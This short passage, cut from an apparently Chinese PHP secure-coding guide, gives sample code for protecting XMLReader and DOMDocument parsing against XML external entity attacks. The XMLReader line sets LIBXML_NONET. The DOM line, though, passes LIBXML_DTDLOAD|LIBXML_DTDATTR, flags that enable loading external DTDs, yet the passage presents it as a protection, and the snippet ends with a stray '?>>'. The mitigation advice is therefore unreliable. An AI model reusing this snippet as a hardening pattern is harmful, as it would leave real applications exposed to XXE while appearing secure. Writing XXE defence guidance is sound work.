以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>